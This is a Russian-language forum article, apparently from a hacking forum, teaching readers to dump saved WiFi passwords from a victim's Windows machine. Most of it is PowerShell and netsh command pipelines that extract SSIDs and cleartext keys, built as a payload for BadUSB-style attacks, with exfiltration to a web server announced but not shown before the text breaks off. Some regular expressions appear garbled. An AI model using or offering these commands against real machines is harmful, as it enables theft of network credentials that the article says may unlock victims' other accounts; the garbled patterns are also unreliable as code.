Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн
(Увы не всегда получается с вами тут посидеть ) ) Вот появилась минутка , решил потратить ее на написания очередной статьи на тему "PowerShell для хакера"
Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)
И так. Вот что мы освоим в этой статье:
Научимся смотретьинформацию о WiFi подключениях средствами командной строки Windows
Извлекать сохраненные пароли в командной строке Windows
Немного освоим регулярные выражения в PowerShell
С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы
Закрепим отправку данных на веб-сервер методом Invoke-RestMethod.
И так друзья мои, зачем нам это все? Попытаюсь ответить:
Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)
Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.
Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)
Эта техника может быть использована для атак вида BadUSB ( спасибо за статьи @Dr.Lafa )
Ну и для общего развития
И так первое что мы освоим - это справку по команде netsh
Конкретней нас интересует команда netsh wlan show profile
которая покажет нам список всех сохраненных WiFi
Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:
netsh wlan show profile key=clear
Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.
Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.
Первым делом давайте выведем имена WiFi сетей c помощью оператора Select-String:
(netsh wlan show profiles) | Select-String "\.+)$"
Здесь мы в регулярном выражение фильтруем все строки где есть символ ":" и после которого следует больше одного (.+) символа и символ $ -- конец строки.
Теперь давайте попытаемся вывести только SSID:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$_.Matches.Groups[1].Value}
Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()
Для удобства все совпадения положим в переменную $name
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_}
Теперь по этому же принципу нужно отобразить пароль от каждой SSID :
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}
Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :
Но опять же таки тут много лишнего текста:
Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид: